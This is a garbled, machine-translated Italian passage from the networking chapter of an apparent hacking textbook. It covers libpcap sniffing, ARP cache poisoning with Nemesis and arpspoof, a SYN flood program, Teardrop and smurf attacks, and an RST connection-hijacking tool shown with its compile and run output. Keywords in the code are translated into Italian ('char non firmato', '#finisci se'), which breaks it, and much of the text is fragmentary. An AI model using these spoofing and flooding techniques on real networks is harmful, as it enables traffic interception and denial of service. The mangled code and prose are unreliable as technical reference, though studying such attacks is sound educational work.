char errbuf [PCAP_ERRBUF_SIZE];
char * dispositivo;
pcap_t * pcap_handle;
int i;
228 0x400
Pagina 243
Infine, il ciclo di acquisizione dei pacchetti utilizza pcap_next () per acquisire il pacchetto successivo.
A questa funzione viene passato il pcap_handle e un puntatore a una struttura pcap_pkthdr
in modo che possa riempirlo con i dettagli della cattura. La funzione restituisce un puntatore
al pacchetto e quindi stampa il pacchetto, ottenendo la lunghezza dalla cattura
intestazione. Quindi pcap_close () chiude l'interfaccia di cattura.
Quando questo programma viene compilato, le librerie pcap devono essere collegate. Questo
può essere fatto usando il flag -l con GCC, come mostrato nell'output sotto. Il
La libreria pcap è stata installata su questo sistema, quindi la libreria e include i file
sono già in posizioni standard conosciute dal compilatore.
Networking 229
Pagina 244
Notare che ci sono molti byte che precedono il testo di esempio nel pacchetto
e molti di questi byte sono simili. Poiché si tratta di acquisizioni di pacchetti non elaborati, la maggior parte dei file
di questi byte sono livelli di informazioni di intestazione per Ethernet, IP e TCP.
Da /usr/include/if_ether.h
/*
* Questa è un'intestazione di frame Ethernet.
*/
struct ethhdr {
char non firmato h_dest [ETH_ALEN]; / * Indirizzo eth di destinazione * /
char non firmato h_source [ETH_ALEN]; / * Source ether addr * /
__be16 h_proto; / * Campo ID tipo pacchetto * /
} __attribute __ ((impacchettato));
230 0x400
Pagina 245
Aggiunto a hacking-network.h
#define ETHER_ADDR_LEN 6
#define ETHER_HDR_LEN 14
struct ether_hdr {
carattere non firmato ether_dest_addr [ETHER_ADDR_LEN]; // Indirizzo MAC di destinazione
carattere non firmato ether_src_addr [ETHER_ADDR_LEN]; // Indirizzo MAC di origine
ether_type corto senza segno; // Tipo di pacchetto Ethernet
};
Da /usr/include/netinet/ip.h
struct iphdr
{
#if __BYTE_ORDER == __LITTLE_ENDIAN
unsigned int ihl: 4;
versione int senza segno: 4;
#elif __BYTE_ORDER == __BIG_ENDIAN
versione int senza segno: 4;
unsigned int ihl: 4;
#altro
# errore "Correggi <bits / endian.h>"
#finisci se
u_int8_t tos;
u_int16_t tot_len;
u_int16_t id;
Networking 231
Pagina 246
u_int16_t frag_off;
u_int8_t ttl;
protocollo u_int8_t;
u_int16_t check;
u_int32_t saddr;
u_int32_t daddr;
/ * Le opzioni iniziano qui. * /
};
Da RFC 791
0 1 2 3
01234567890123456789012345678901
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Versione | IHL | Tipo di servizio | Lunghezza totale |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Identificazione | Bandiere | Frammento Offset |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| È ora di vivere | Protocollo | Checksum intestazione |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Indirizzo di partenza |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Indirizzo di destinazione |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Opzioni | Imbottitura |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
Esempio di intestazione di datagramma Internet
Aggiunto a hacking-network.h
struct ip_hdr {
char non firmato ip_version_and_header_length; // Versione e lunghezza dell'intestazione
char non firmato ip_tos; // Tipo di servizio
ip_len breve non firmato; // Lunghezza totale
ip_id breve non firmato; // Numero identificativo
ip_frag_offset breve non firmato; // Offset e flag del frammento
char non firmato ip_ttl; // Tempo di vivere
char non firmato ip_type; // Tipo di protocollo
ip_checksum breve non firmato; // Checksum
unsigned int ip_src_addr; // Indirizzo IP di origine
unsigned int ip_dest_addr; // Indirizzo IP di destinazione
};
232 0x400
Pagina 247
Da /usr/include/netinet/tcp.h
Da RFC 793
0 1 2 3
01234567890123456789012345678901
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Porta di origine | Porto di destinazione |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Sequenza di numeri |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Numero di riconoscimento |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
Networking 233
Pagina 248
| Dati | |U|A|P|R|S|F| |
| Offset | Riservato | R | C | S | S | Y | I | Finestra |
|| |G|K|H|T|N|N| |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Checksum | Puntatore urgente |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Opzioni | Imbottitura |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| dati |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
La struttura tcphdr di Linux cambia anche l'ordine dell'offset dei dati a 4 bit
campo e la sezione a 4 bit del campo riservato a seconda del byte dell'host
ordine. Il campo di offset dei dati è importante, poiché indica la dimensione della variabile-
intestazione TCP di lunghezza. Potresti aver notato che la struttura tcphdr di Linux
non risparmia spazio per le opzioni TCP. Questo perché l'RFC lo definisce
campo come facoltativo. La dimensione dell'intestazione TCP sarà sempre allineata a 32 bit e
l'offset dei dati ci dice quante parole a 32 bit ci sono nell'intestazione. Quindi il TCP
la dimensione dell'intestazione in byte è uguale al campo di offset dei dati dell'intestazione per quattro.
Poiché il campo di offset dei dati è necessario per calcolare la dimensione dell'intestazione, lo divideremo
il byte che lo contiene, assumendo l'ordinamento dei byte dell'host little-endian.
Il th_flags campo di Linux tcphdr struttura è definita come un 8-bit senza segno
carattere. I valori definiti sotto questo campo sono le maschere di bit che corrispondono
alle sei possibili bandiere.
Aggiunto a hacking-network.h
struct tcp_hdr {
short non firmato tcp_src_port; // Porta TCP di origine
short unsigned tcp_dest_port; // Porta TCP di destinazione
unsigned int tcp_seq; // Numero di sequenza TCP
unsigned int tcp_ack; // Numero di riconoscimento TCP
carattere non firmato riservato: 4; // 4 bit dai 6 bit di spazio riservato
carattere non firmato tcp_offset: 4; // Offset dati TCP per host little endian
carattere non firmato tcp_flags; // Flag TCP (e 2 bit dallo spazio riservato)
#define TCP_FIN 0x01
#define TCP_SYN 0x02
#define TCP_RST 0x04
#define TCP_PUSH 0x08
#define TCP_ACK 0x10
#define TCP_URG 0x20
tcp_window breve non firmato; // Dimensione della finestra TCP
tcp_checksum breve non firmato; // checksum TCP
tcp_urgent breve non firmato; // Puntatore urgente TCP
};
234 0x400
Pagina 249
Ora che le intestazioni sono definite come strutture, possiamo scrivere un programma
per decodificare le intestazioni a strati di ogni pacchetto. Ma prima di farlo, parliamo
su libpcap per un momento. Questa libreria ha una funzione chiamata pcap_loop () ,
che è un modo migliore per catturare i pacchetti rispetto al semplice loop su un pcap_next ()
chiamata. Pochissimi programmi usano effettivamente pcap_next () , perché è goffo e
inefficiente. La funzione pcap_loop () utilizza una funzione di callback. Questo significa
alla funzione pcap_loop () viene passato un puntatore a funzione, che viene chiamato ogni
volta che un pacchetto viene catturato. Il prototipo di pcap_loop () è il seguente:
int pcap_loop (pcap_t * handle, int count, pcap_handler callback, u_char * args);
void callback (u_char * args, const struct pcap_pkthdr * cap_header, const u_char * packet);
decode_sniff.c
#include <pcap.h>
#include "hacking.h"
#include "hacking-network.h"
int main () {
struct pcap_pkthdr cap_header;
const u_char * packet, * pkt_data;
char errbuf [PCAP_ERRBUF_SIZE];
char * dispositivo;
Networking 235
Pagina 250
pcap_t * pcap_handle;
pcap_close (pcap_handle);
}
void catch_packet (u_char * user_args, const struct pcap_pkthdr * cap_header, const u_char
*pacchetto) {
int tcp_header_length, total_header_size, pkt_data_len;
u_char * pkt_data;
decode_ethernet (pacchetto);
decode_ip (pacchetto + ETHER_HDR_LEN);
tcp_header_length = decode_tcp (packet + ETHER_HDR_LEN + sizeof (struct ip_hdr));
236 0x400
Pagina 251
La funzione catch_packet () viene chiamata ogni volta che pcap_loop () cattura un file
pacchetto. Questa funzione utilizza le lunghezze dell'intestazione per suddividere il pacchetto in strati
e le funzioni di decodifica per stampare i dettagli dell'intestazione di ogni strato.
Networking 237
Pagina 252
return header_size;
}
238 0x400
Pagina 253
Interruttore
1 2 3
00: 00: 00: AA: AA: AA 00: 00: 00: BB: BB: BB 00: 00: 00: CC: CC: CC
Networking 239
Pagina 254
Lo spoofing è il primo passo per lo sniffing dei pacchetti su una rete commutata. Il
altri due dettagli interessanti si trovano in ARP. Primo, quando arriva una risposta ARP
con un indirizzo IP già esistente nella cache ARP, il sistema ricevente
sovrascriverà le informazioni sull'indirizzo MAC precedente con le nuove informazioni
trovato nella risposta (a meno che quella voce nella cache ARP non sia stata esplicitamente contrassegnata
come permanente). In secondo luogo, non vengono conservate informazioni di stato sul traffico ARP,
poiché ciò richiederebbe memoria aggiuntiva e complicherebbe un protocollo
che dovrebbe essere semplice. Ciò significa che i sistemi accetteranno anche una risposta ARP
se non hanno inviato una richiesta ARP.
Questi tre dettagli, se sfruttati correttamente, consentono a un aggressore di annusare
traffico di rete su una rete commutata utilizzando una tecnica nota come ARP
reindirizzamento . L'autore dell'attacco invia risposte ARP contraffatte a determinati dispositivi che causano
le voci della cache ARP da sovrascrivere con i dati dell'aggressore. Questa tecnologia
nique è chiamato avvelenamento della cache ARP . Al fine di fiutare il traffico di rete tra
due punti, A e B , l'attaccante ha bisogno di avvelenare la cache ARP di A a
indurre A a credere che l' indirizzo IP di B sia all'indirizzo MAC dell'aggressore e
anche avvelenare la cache ARP di B a causa B a credere che A s’indirizzo IP è anche
all'indirizzo MAC dell'aggressore. Quindi la macchina dell'attaccante deve semplicemente farlo
inoltrare questi pacchetti alle destinazioni finali appropriate. Dopodiché, tutto
del traffico tra A e B viene comunque consegnato, ma tutto scorre attraverso
macchina dell'aggressore, come mostrato qui.
Sistema A Sistema B
IP: 192.168.0.100 IP: 192.168.0.200
MAC: 00: 00: 00: AA: AA: AA MAC: 00: 00: 00: BB: BB: BB
Sistema di attacco
IP: 192.168.0.137
MAC: 00: 00: 00: FA: CA: DE
240 0x400
Pagina 255
A causa dei valori di timeout, le macchine della vittima invieranno periodicamente real
Richieste ARP e in risposta ricevono risposte ARP reali. Al fine di mantenere
l'attacco di reindirizzamento, l'attaccante deve mantenere le cache ARP della macchina vittima
avvelenato. Un modo semplice per farlo è inviare risposte ARP contraffatte a
sia A che B a un intervallo costante, ad esempio ogni 10 secondi.
Un gateway è un sistema che instrada tutto il traffico da una rete locale a
la rete. Il reindirizzamento ARP è particolarmente interessante quando uno della vittima
macchine è il gateway predefinito, poiché il traffico tra il gateway predefinito
e un altro sistema è il traffico Internet di quel sistema. Ad esempio, se una macchina
in 192.168.0.118 sta comunicando con il gateway in 192.168.0.1 tramite un file
switch, il traffico sarà limitato dall'indirizzo MAC. Ciò significa che questo
il traffico normalmente non può essere fiutato, anche in modalità promiscua. In modo da
annusa questo traffico, deve essere reindirizzato.
Per reindirizzare il traffico, prima gli indirizzi MAC di 192.168.0.118 e
192.168.0.1 deve essere determinato. Questo può essere fatto eseguendo il ping di questi host,
poiché qualsiasi tentativo di connessione IP utilizzerà ARP. Se esegui uno sniffer, puoi
vedere le comunicazioni ARP, ma il sistema operativo memorizzerà nella cache l'IP / MAC risultante
associazioni di indirizzi.
Networking 241
Pagina 256
ha detto che 192.168.0.118 è anche a 00: 00: AD: D1: C7: ED . Questi pacchetti ARP falsificati
può essere iniettato utilizzando uno strumento di iniezione di pacchetti da riga di comando chiamato Nemesis.
Nemesis era originariamente una suite di strumenti scritti da Mark Grimes, ma in
versione più recente 1.4, tutte le funzionalità sono state raggruppate in un unico file
utility dal nuovo manutentore e sviluppatore, Jeff Nathan. Il codice sorgente
per Nemesis è sul LiveCD in /usr/src/nemesis-1.4/, e ha già
stato costruito e installato.
Utilizzo di NEMESIS:
nemesi [modalità] [opzioni]
Modalità NEMESIS:
arp
dns
ethernet
icmp
igmp
ip
ospf (attualmente non funzionante)
strappare
tcp
udp
Opzioni NEMESIS:
Per visualizzare le opzioni, specificare una modalità con l'opzione "aiuto".
Iniezione di pacchetti ARP / RARP - = - Il progetto NEMESIS versione 1.4 (Build 26)
242 0x400
Pagina 257
reader @ hacking: ~ / booksrc $ sudo nemesis arp -v -r -d eth0 -S 192.168.0.1 -D
192.168.0.118 -h 00: 00: AD: D1: C7: ED -m 00: C0: F0: 79: 3D: 30 -H 00: 00: AD: D1: C7: ED -
M 00: C0: F0: 79: 3D: 30
Iniezione di pacchetti ARP / RARP - = - Il progetto NEMESIS versione 1.4 (Build 26)
[MAC] 00: 00: AD: D1: C7: ED> 00: C0: F0: 79: 3D: 30
[Tipo Ethernet] ARP (0x0806)
Iniezione di pacchetti ARP / RARP - = - Il progetto NEMESIS versione 1.4 (Build 26)
[MAC] 00: 00: AD: D1: C7: ED> 00: 50: 18: 00: 0F: 01
[Tipo Ethernet] ARP (0x0806)
Networking 243
Pagina 258
Iniezione di pacchetti ARP / RARP - = - Il progetto NEMESIS versione 1.4 (Build 26)
[MAC] 00: 00: AD: D1: C7: ED> 00: C0: F0: 79: 3D: 30
[Tipo Ethernet] ARP (0x0806)
Iniezione di pacchetti ARP / RARP - = - Il progetto NEMESIS versione 1.4 (Build 26)
[MAC] 00: 00: AD: D1: C7: ED> 00: 50: 18: 00: 0F: 01
[Tipo Ethernet] ARP (0x0806)
244 0x400
Pagina 259
Da nemesis-arp.c
...
arp_initdata ();
arp_cmdline (argc, argv);
arp_validatedata ();
arp_verbose ();
if (got_payload)
{
if (builddatafromfile (ARPBUFFSIZE, & pd, (const char *) file,
(const u_int32_t) PAYLOADMODE) <0)
arp_exit (1);
}
if (buildarp (& etherhdr, & arphdr, & pd, dispositivo, risposta) <0)
{
printf ("\ n% s Injection Failure \ n", (rarp == 0? "ARP": "RARP"));
arp_exit (1);
}
altro
{
printf ("\ n% s Packet Injected \ n", (rarp == 0? "ARP": "RARP"));
arp_exit (0);
}
}
Da nemesis.h
Networking 245
Pagina 260
Da nemesis-arp.c
Da nemesis-proto_arp.c
int buildarp (ETHERhdr * eth, ARPhdr * arp, FileData * pd, char * dispositivo,
int risposta)
{
int n = 0;
u_int32_t arp_packetlen;
static u_int8_t * pkt;
struct libnet_link_int * l2 = NULL;
/ * test di convalida * /
246 0x400
Pagina 261
#ifdef DEBUG
printf ("DEBUG: lunghezza pacchetto ARP% u. \ n", arp_packetlen);
printf ("DEBUG: dimensione payload ARP% u. \ n", pd-> file_s);
#finisci se
if (verbose == 2)
nemesis_hexdump (pkt, arp_packetlen, HEX_ASCII_DECODE);
if (verbose == 3)
nemesis_hexdump (pkt, arp_packetlen, HEX_RAW_DECODE);
if (n! = arp_packetlen)
{
fprintf (stderr, "ERRORE: iniezione di pacchetti incompleta. Solo"
"ha scritto% d byte. \ n", n);
}
altro
{
if (verboso)
{
if (memcmp (eth-> ether_dhost, (void *) & one, 6))
{
printf ("Ha scritto un pacchetto di richiesta ARP unicast di% d byte tramite"
"tipo di collegamento% s. \ n", n,
nemesis_lookup_linktype (l2-> linktype));
}
altro
{
printf ("Ha scritto% d byte% s pacchetto tramite linktype% s. \ n", n,
Networking 247
Pagina 262
Valore genere
Protocollo ETHERTYPE_PUP PUP
ETHERTYPE_IP Protocollo IP
ETHERTYPE_ARP protocollo ARP
ETHERTYPE_REVARP Protocollo ARP inverso
ETHERTYPE_VLAN IEEE VLAN tagging
ETHERTYPE_LOOPBACK Utilizzato per testare le interfacce
248 0x400
Pagina 263
crea solo pacchetti ARP ethernet / IP, e di conseguenza il primo valore dovrebbe
essere ARPHRD_ETHER. Il tipo di pacchetto ARP dovrebbe essere uno dei seguenti:
ARPOP_REQUEST, ARPOP_REPLY, ARPOP_REVREQUEST, ARPOP_REVREPLY,
ARPOP_INVREQUEST o ARPOP_INVREPLY.
NOME
arpspoof - intercetta i pacchetti su una LAN commutata
SINOSSI
arpspoof [-i interfaccia] [-t target] host
DESCRIZIONE
arpspoof reindirizza i pacchetti da un host di destinazione (o tutti gli host) sulla LAN
destinato a un altro host sulla LAN falsificando le risposte ARP. Questo è
un modo estremamente efficace per rilevare il traffico su uno switch.
OPZIONI
-i interfaccia
Specifica l'interfaccia da utilizzare.
-t bersaglio
Specifica un host particolare per il veleno ARP (se non specificato, all
host sulla LAN).
host Specifica l'host per il quale desideri intercettare i pacchetti (solitamente il file
gateway locale).
GUARDA ANCHE
dsniff (8), fragrouter (8)
AUTORE
Dug Song <dugsong@monkey.org>
La magia di questo programma deriva dalla sua funzione arp_send () , che anche
usa libnet per falsificare i pacchetti. Il codice sorgente per questa funzione dovrebbe essere letto-
in grado di te, poiché vengono utilizzate molte delle funzioni libnet spiegate in precedenza
(mostrato in grassetto sotto). Anche l'uso di strutture e un buffer di errore dovrebbe
essere familiare.
Networking 249
Pagina 264
arpspoof.c
...
int
arp_send (struct libnet_link_int * llif, char * dev,
int op, u_char * sha, in_addr_t spa, u_char * tha, in_addr_t tpa)
{
char ebuf [128];
u_char pkt [60];
if (op == ARPOP_REQUEST) {
fprintf (stderr, "% s 0806 42: arp who-has% s tell% s \ n",
ether_ntoa ((struct ether_addr *) tha),
libnet_host_lookup (tpa, 0),
libnet_host_lookup (spa, 0));
}
altro {
fprintf (stderr, "% s 0806 42: arp reply% s is-at",
ether_ntoa ((struct ether_addr *) tha),
libnet_host_lookup (spa, 0));
fprintf (stderr, "% s \ n",
ether_ntoa ((struct ether_addr *) sha));
}
return ( libnet_write_link_layer (llif, dev, pkt, sizeof (pkt)) == sizeof (pkt) );
}
250 0x400
Pagina 265
Una volta che hai imparato a leggere il codice C, i programmi esistenti possono insegnare
tu molto con l'esempio. Le librerie di programmazione come libnet e libpcap hanno
molta documentazione che spiega tutti i dettagli che potresti non essere in grado di fare
divino dalla sola fonte. L'obiettivo qui è insegnarti come imparare
dal codice sorgente, invece di insegnare solo come usare alcune librerie. Dopo
tutto, ci sono molte altre librerie e un sacco di codice sorgente esistente che
li usa.
Pagina 266
synflood.c
#include <libnet.h>
if (argc <3)
{
printf ("Utilizzo: \ n% s \ t <host di destinazione> <porta di destinazione> \ n", argv [0]);
uscita (1);
}
252 0x400
Pagina 267
printf ("SYN Flooding porta% d di% s .. \ n", dest_port, print_ip (& dest_ip));
while (1) // loop per sempre (fino a quando non viene interrotto da CTRL-C)
{
libnet_build_ip (LIBNET_TCP_H, // Dimensione del pacchetto senza l'intestazione IP.
IPTOS_LOWDELAY, // IP tos
libnet_get_prand (LIBNET_PRu16), // IP ID (randomizzato)
0, // Frag stuff
libnet_get_prand (LIBNET_PR8), // TTL (randomizzato)
IPPROTO_TCP, // Protocollo di trasporto
libnet_get_prand (LIBNET_PRu32), // IP sorgente (randomizzato)
dest_ip, // IP di destinazione
NULLO, // Payload (nessuno)
0, // Lunghezza del carico utile
pacchetto); // Memoria dell'intestazione del pacchetto
Networking 253
Pagina 268
return 0;
}
Questo programma utilizza una funzione print_ip () per gestire la conversione del file
tipo u_long, usato da libnet per memorizzare gli indirizzi IP, nel tipo di struttura previsto
di inet_ntoa () . Il valore non cambia: il typecasting appaga semplicemente il file
compilatore.
L'attuale versione di libnet è la versione 1.1, che non è compatibile con
libnet 1.0. Tuttavia, Nemesis e arpspoof si basano ancora sulla versione 1.0 di
libnet, quindi questa versione è inclusa nel LiveCD e questo è anche ciò che faremo
utilizzare nel nostro programma synflood. Simile alla compilazione con libpcap, durante la compilazione
ing con libnet, viene usata la flag -lnet . Tuttavia, questo non è abbastanza informazioni
mazione per il compilatore, come mostra l'output seguente.
Il compilatore non riesce ancora perché devono essere presenti diversi flag di definizione obbligatori
impostato per libnet. Incluso con libnet, verrà visualizzato un programma chiamato libnet-config
queste bandiere.
Usando la sostituzione del comando della shell BASH in entrambi, queste definizioni possono
essere inserito dinamicamente nel comando di compilazione.
254 0x400
Pagina 269
Alcuni sistemi operativi (ad esempio Linux) utilizzano una tecnica chiamata
syncookies per cercare di prevenire attacchi SYN flood. Lo stack TCP utilizzando i syncookies
regola il numero di riconoscimento iniziale per il SYN / ACK che risponde
pacchetto utilizzando un valore basato sui dettagli dell'host e sul tempo (per evitare attacchi di replay).
Networking 255
Pagina 270
Le connessioni TCP non diventano effettivamente attive fino al pacchetto ACK finale
per l'handshake TCP è controllato. Se il numero di sequenza non corrisponde
o l'ACK non arriva mai, non viene mai creata una connessione. Questo aiuta a prevenire
tentativi di connessione falsificati, poiché il pacchetto ACK richiede informazioni
essere inviato all'indirizzo sorgente del pacchetto SYN iniziale.
0x453 Teardrop
È stato chiamato un altro attacco DoS che si è verificato per lo stesso motivo
lacrima. Teardrop ha sfruttato un'altra debolezza nelle implementazioni di diversi fornitori-
tazioni di riassemblaggio della frammentazione IP. Di solito, quando un pacchetto è frammentato,
gli offset memorizzati nell'intestazione si allineeranno per ricostruire il pacchetto originale
senza sovrapposizione. L'attacco a goccia ha inviato frammenti di pacchetti con sovrapposizione
offset, che hanno causato implementazioni che non hanno verificato questa irregolarità
condizione per schiantarsi inevitabilmente.
Sebbene questo attacco specifico non funzioni più, la comprensione del file
il concetto può rivelare problemi in altre aree. Sebbene non sia limitato a una negazione
of Service, un recente exploit remoto nel kernel OpenBSD (che vanta
stesso sulla sicurezza) aveva a che fare con pacchetti IPv6 frammentati. IP versione 6 utilizza
intestazioni più complicate e persino un formato di indirizzo IP diverso dal
IPv4 la maggior parte delle persone conosce. Spesso, gli stessi errori commessi nel file
il passato viene ripetuto dalle prime implementazioni di nuovi prodotti.
256 0x400
Pagina 271
Pacchetto spoofed da
Rete di amplificazione
indirizzo della vittima inviato al
indirizzo di trasmissione del
UN B C D E rete di amplificazione
Attaccante
F G H io J
Vittima
Networking 257
Pagina 272
Il dirottamento TCP / IP è una tecnica intelligente che utilizza pacchetti contraffatti per rilevare un file
connessione tra una vittima e una macchina host. Questa tecnica è un'eccezione-
alleato utile quando la vittima utilizza una password monouso per connettersi all'host
macchina. È possibile utilizzare una password monouso per eseguire l'autenticazione una sola volta,
il che significa che lo sniffing dell'autenticazione è inutile per l'attaccante.
Per eseguire un attacco dirottamento TCP / IP, l'attaccante deve essere sullo stesso
rete come vittima. Annusando il segmento di rete locale, tutti i dettagli
delle connessioni TCP aperte possono essere estratte dalle intestazioni. Come abbiamo visto,
ogni pacchetto TCP contiene un numero di sequenza nella sua intestazione. Questa sequenza
numero viene incrementato con ogni pacchetto inviato per garantire che i pacchetti siano
ricevuto nell'ordine corretto. Durante lo sniffing, l'aggressore ha accesso al file
numeri di sequenza per una connessione tra una vittima (sistema A nel seguito-
illustrazione) e una macchina host (sistema B). Quindi l'attaccante invia un file
pacchetto contraffatto dall'indirizzo IP della vittima al computer host, utilizzando l'estensione
numero di sequenza annusato per fornire il numero di riconoscimento corretto,
come mostrato qui.
src: 192.168.0.100
dst: 192.168.0.200
seq #: 1429775000
ack #: 1250510000
192.168.0.100 192.168.0.200
src: 192.168.0.200
dst: 192.168.0.100
seq #: 1250510000
ack #: 1429775024
len: 167 src: 192.168.0.100
dst: 192.168.0.200
seq #: 1429775024
ack #: 1250510167
len: 71
Attaccante
sistema
258 0x400
Pagina 273
Dopo che la regola del filtro è stata compilata, può essere passata al kernel per il filtro-
ing. Il filtraggio per le connessioni stabilite è un po 'più complicato. Tutti
le connessioni stabilite avranno il flag ACK impostato, quindi questo è ciò che dovremmo
cercare. I flag TCP si trovano nel 13 ° ottetto dell'intestazione TCP. Il
Networking 259
Pagina 274
i flag si trovano nel seguente ordine, da sinistra a destra: URG, ACK, PSH,
RST, SYN e FIN. Ciò significa che se il flag ACK è attivato, il 13
ottetto sarebbe 00010000 in binario, che è 16 in decimale. Se sia SYN che
ACK sono attivati, il 13 ° ottetto sarebbe 00010010 in binario, che è 18
in decimale.
Per creare un filtro che corrisponda quando il flag ACK è attivato
senza preoccuparsi di nessuno degli altri bit, viene utilizzato l'operatore AND bit per bit.
ANDing 00010010 con 00010000 produrrà 00010000 , poiché il bit ACK è il
solo bit dove entrambi i bit sono 1 . Ciò significa che un filtro di tcp [13] & 16 == 16
corrisponderà ai pacchetti in cui il flag ACK è attivato, indipendentemente dal
stato dei flag rimanenti.
Questa regola di filtro può essere riscritta utilizzando valori denominati e logica invertita come
. Questo è più facile da leggere ma fornisce comunque lo stesso
tcp [tcpflags] & tcp-ack! = 0
risultato. Questa regola può essere combinata con la precedente regola IP di destinazione utilizzando
e logica; la regola completa è mostrata di seguito.
reader @ hacking: ~ / booksrc $ sudo tcpdump -nl "tcp [tcpflags] & tcp-ack! = 0 e dst host
192.168.42.88 "
tcpdump: output dettagliato soppresso, utilizzare -v o -vv per la decodifica completa del protocollo
in ascolto su eth0, tipo di collegamento EN10MB (Ethernet), dimensione di acquisizione 96 byte
10: 19: 47.567378 IP 192.168.42.72.40238> 192.168.42.88.22:. ack 2777534975 vinci 92
<nop, nop, timestamp 85838571 0>
10: 19: 47.770276 IP 192.168.42.72.40238> 192.168.42.88.22:. ack 22 win 92 <nop, nop, timestamp
85838621 29399>
10:19: 47.770322 IP 192.168.42.72.40238> 192.168.42.88.22: P 0:20 (20) ack 22 win 92
<nop, nop, timestamp 85838621 29399>
10: 19: 47.771536 IP 192.168.42.72.40238> 192.168.42.88.22: P 20: 732 (712) ack 766 win 115
<nop, nop, timestamp 85838622 29399>
10: 19: 47.918866 IP 192.168.42.72.40238> 192.168.42.88.22: P 732: 756 (24) ack 766 win 115
<nop, nop, timestamp 85838659 29402>
Una regola simile viene utilizzata nel seguente programma per filtrare i pacchetti
libpcap annusa. Quando il programma riceve un pacchetto, le informazioni di intestazione sono
utilizzato per falsificare un pacchetto RST. Questo programma verrà spiegato man mano che è elencato.
rst_hijack.c
#include <libnet.h>
#include <pcap.h>
#include "hacking.h"
void catch_packet (u_char *, const struct pcap_pkthdr *, const u_char *);
int set_packet_filter (pcap_t *, struct in_addr *);
struct data_pass {
int libnet_handle;
pacchetto u_char *;
};
260 0x400
Pagina 275
if (argc <1) {
printf ("Utilizzo:% s <IP di destinazione> \ n", argv [0]);
uscita (0);
}
target_ip = libnet_name_resolve (argv [1], LIBNET_RESOLVE);
if (target_ip == -1)
fatal ("Indirizzo di destinazione non valido");
libnet_seed_prand ();
printf ("Reimpostare tutte le connessioni TCP a% s su% s \ n", argv [1], dispositivo);
pcap_loop (pcap_handle, -1, catch_packet, (u_char *) & critical_libnet_data);
pcap_close (pcap_handle);
}
La maggior parte di questo programma dovrebbe avere senso per te. All'inizio,
viene definita una struttura data_pass , che viene utilizzata per passare i dati attraverso libpcap
richiama. libnet è usato per aprire un'interfaccia raw socket e per allocare pacchetti
memoria. Il descrittore di file per il socket raw e un puntatore al pacchetto
sarà necessaria la memoria nella funzione di callback, quindi questi dati critici di libnet lo sono
immagazzinato nella propria struttura. L'ultimo argomento della chiamata pcap_loop () è user
puntatore, che viene passato direttamente alla funzione di callback. Passando un puntatore
alla struttura critical_libnet_data , la funzione di callback avrà accesso a
tutto in questa struttura. Inoltre, il valore della lunghezza dello snap utilizzato in pcap_open_live ()
è stata ridotta da 4096 a 128 , poiché le informazioni necessarie dal
il pacchetto è solo nelle intestazioni.
Networking 261
Pagina 276
sprintf (filter_string, "tcp [tcpflags] & tcp-ack! = 0 e dst host% s", inet_ntoa (* target_ip));
void catch_packet (u_char * user_args, const struct pcap_pkthdr * cap_header, const u_char
*pacchetto) {
u_char * pkt_data;
struct libnet_ip_hdr * IPhdr;
struct libnet_tcp_hdr * TCPhdr;
struct data_pass * passato;
int bcount;
passato = (struct data_pass *) user_args; // Passa i dati utilizzando un puntatore a una struttura.
libnet_build_tcp (htons (TCPhdr-> th_dport), // Porta TCP di origine (fai finta di essere dst)
htons (TCPhdr-> th_sport), // Porta TCP di destinazione (rimandare a src)
htonl (TCPhdr-> th_ack), // Numero di sequenza (usa ack precedente)
libnet_get_prand (LIBNET_PRu32), // Numero di riconoscimento (randomizzato)
262 0x400
Pagina 277
reader @ hacking: ~ / booksrc $ gcc $ (libnet-config --defines) -o rst_hijack rst_hijack.c -lnet -lpcap
lettore @ hacking: ~ / booksrc $ sudo ./rst_hijack 192.168.42.88
DEBUG: la stringa del filtro è "tcp [tcpflags] & tcp-ack! = 0 e dst host 192.168.42.88"
Reimpostazione di tutte le connessioni TCP su 192.168.42.88 su eth0
ripristino della connessione TCP da 192.168.42.72:47783 <---> 192.168.42.88:22
Networking 263
Pagina 278
264 0x400
Pagina 279
Christmas tree) e la scansione Null invia un pacchetto senza flag TCP impostati. Mentre
questi tipi di scansioni sono più furtivi, possono anche essere inaffidabili. Per esempio,
L'implementazione di TCP da parte di Microsoft non invia pacchetti RST come dovrebbe,
rendendo inefficace questa forma di scansione.
Utilizzando nmap, FIN, X-mas e NULL è possibile eseguire scansioni utilizzando l'estensione
opzioni della riga di comando -sF , -sX e -sN , rispettivamente. La loro uscita sembra
fondamentalmente lo stesso della scansione precedente.
Se quella porta è in ascolto, un pacchetto SYN / ACK verrà rimandato allo stato inattivo
ospite. Ma poiché l'host inattivo non ha effettivamente inviato il SYN iniziale
